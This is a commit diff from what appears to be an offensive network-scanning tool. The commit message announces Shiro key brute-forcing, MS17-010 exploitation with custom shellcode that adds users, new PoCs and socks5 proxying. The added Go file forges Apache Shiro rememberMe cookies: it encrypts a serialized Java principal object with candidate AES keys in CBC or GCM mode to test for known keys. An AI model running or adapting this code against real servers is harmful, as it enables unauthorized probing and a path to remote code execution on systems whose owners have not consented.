加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。 新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。

WebScan/lib/shiro.go

@@ -0,0 +1,73 @@
+package lib
+
+import (
+	"bytes"
+	"crypto/aes"
+	"crypto/cipher"
+	"crypto/rand"
+	"encoding/base64"
+	"io"
+
+	uuid "github.com/satori/go.uuid"
+)
+
+var (
+	CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="
+	Content, _   = base64.StdEncoding.DecodeString(CheckContent)
+)
+
+func Padding(plainText []byte, blockSize int) []byte {
+	//计算要填充的长度
+	n := (blockSize - len(plainText)%blockSize)
+	//对原来的明文填充n个n
+	temp := bytes.Repeat([]byte{byte(n)}, n)
+	plainText = append(plainText, temp...)
+	return plainText
+}
+
+func GetShrioCookie(key, mode string) string {
+	if mode == "gcm" {
+		return AES_GCM_Encrypt(key)
+	} else {
+		//cbc
+		return AES_CBC_Encrypt(key)
+	}
+}
+
+//AES CBC加密后的payload
+func AES_CBC_Encrypt(shirokey string) string {
+	key, err := base64.StdEncoding.DecodeString(shirokey)
+	if err != nil {
+		return ""
+	}
+	block, err := aes.NewCipher(key)
+	if err != nil {
+		return ""
+	}
+	Content = Padding(Content, block.BlockSize())
+	iv := uuid.NewV4().Bytes()                     //指定初始向量vi,长度和block的块尺寸一致
+	blockMode := cipher.NewCBCEncrypter(block, iv) //指定CBC分组模式，返回一个BlockMode接口对象
+	cipherText := make([]byte, len(Content))
+	blockMode.CryptBlocks(cipherText, Content) //加密数据
+	return base64.StdEncoding.EncodeToString(append(iv[:], cipherText[:]...))
+}
+
+//AES GCM 加密后的payload shiro 1.4.2版本更换为了AES-GCM加密方式
+func AES_GCM_Encrypt(shirokey string) string {
+	key, err := base64.StdEncoding.DecodeString(shirokey)
+	if err != nil {
+		return ""
+	}
+	block, err := aes.NewCipher(key)
+	if err != nil {
+		return ""
+	}
+	nonce := make([]byte, 16)
+	_, err = io.ReadFull(rand.Reader, nonce)
+	if err != nil {
+		return ""
+	}
+	aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16)
+	ciphertext := aesgcm.Seal(nil, nonce, Content, nil)
+	return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
+}